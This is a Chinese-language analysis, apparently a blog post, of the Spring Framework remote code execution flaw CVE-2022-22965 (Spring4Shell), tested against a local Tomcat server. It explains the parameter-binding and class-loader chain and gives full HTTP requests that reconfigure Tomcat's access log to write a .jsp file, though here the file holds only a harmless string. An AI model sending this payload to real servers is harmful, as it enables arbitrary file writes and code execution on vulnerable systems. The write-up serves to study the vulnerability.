Spring rce CVE-2022-22965
原理大致是這樣:spring框架在傳參的時候會與當前POJO類自動引數繫結,通過“.”還可以訪問當前類的引用型別變數。使用getClass方法,通過反射機制最終獲取tomcat的日誌配置成員屬性,通過set方法,修改目錄、內容等屬性成員,達到任意檔案寫入的目的。
環境:
jdk9、springmvc、tomcat8
一、先來介紹下傳參的問題:
定義2個實體類
public class User { private String username; private String password; public String getPassword() {return password; } public void setPassword(String password) { this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public SubTest getSub(){return new SubTest(); } }
public class SubTest { public void setsubfunction(String s){ System.out.println("====="); System.out.println(s); System.out.println("====="); } }
定義一個Controller類
@RestController public class HelloController { @RequestMapping("/rce") @ResponseBodypublic String helloTest(User user) throws IOException { System.out.println(user.getPassword()); System.out.println(user.getUsername()); return "hello spring : "; } }
不管是GET還是POST,只要是Controller接受的方式都可以傳參賦值。
利用POST方式,傳參
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 15 username=vpanda
這裡username=vpanda的傳參,呼叫了User的setUsername方法。
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 25 sub.subfunction=aaaaatest
這裡sub.subfunction=aaaaatest,實際呼叫User的getSub方法,獲得SubTest物件後實現setsubfunction方法,傳參aaaaatest,最終實現SubTest型別的setsubfunction。
輸出
=====
aaaaatest
=====
二、接下去直接看POC的利用鏈:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\ class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在這裡的實現邏輯是當前user物件getclass獲得了類物件,Class類中存在getModule,獲得module類物件,而Module類又存在getclassloader方法,最終返回一個類載入器。
除錯輸出當前類載入器名稱
System.out.println("===classloader==="); System.out.println(classLoader); System.out.println("===classloadername==="); System.out.println(classLoader.getClass().getName()); System.out.println("========");
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c
===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========
通過輸出結果可以看到當前物件的類載入器是org.apache.catalina.loader.ParallelWebappClassLoader,
ParallelWebappClassLoader繼承WebappClassLoaderBase,WebappClassLoaderBase實現了getResources是WebResourceRoot介面型別,
WebResourceRoot介面存在getContext方法,Context介面型別,繼承Container,Container實現parent和getPipeline,Pipeline介面實現getfirst,
最終得到Valve型別,通過類物件遍歷所有成員。
Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst(); Class<? extends Valve> aClass = first.getClass(); System.out.println("====DeclaredFields====="); Field[] fields = aClass.getDeclaredFields(); for (Field field : fields) { System.out.println(field); } System.out.println("====Methods====="); Method[] methods = aClass.getMethods(); for (Method method : methods) { System.out.println(method); }
輸出結果,可以看到利用鏈中幾個關鍵成員的set方法。
====DeclaredFields===== private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp private java.lang.String org.apache.catalina.valves.AccessLogValve.directory protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix protected boolean org.apache.catalina.valves.AccessLogValve.rotatable protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate private boolean org.apache.catalina.valves.AccessLogValve.buffered protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked private boolean org.apache.catalina.valves.AccessLogValve.checkExists protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding private int org.apache.catalina.valves.AccessLogValve.maxDays private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs ====Methods===== public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter) public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.rotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding() public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory() public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean) public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String) public boolean org.apache.catalina.valves.AccessLogValve.isRotatable() public int org.apache.catalina.valves.AccessLogValve.getMaxDays() public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int) public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists() public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat() public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix() public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean) public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isBuffered() public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String) public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess() public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix() public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long) public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize() public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int) public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale() public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition() public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless() public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled() public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean) public java.lang.String org.apache.catalina.valves.ValveBase.toString() public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext() public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve) public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties() public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container) public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal() public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer() public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported() public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean) public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName() public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain() public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean) public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister() public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String) public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState() public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName() public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener) public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener) public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners() public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure() public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean) public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final void java.lang.Object.wait() throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll()
在本地測試實現任意檔案寫入
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 393 class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=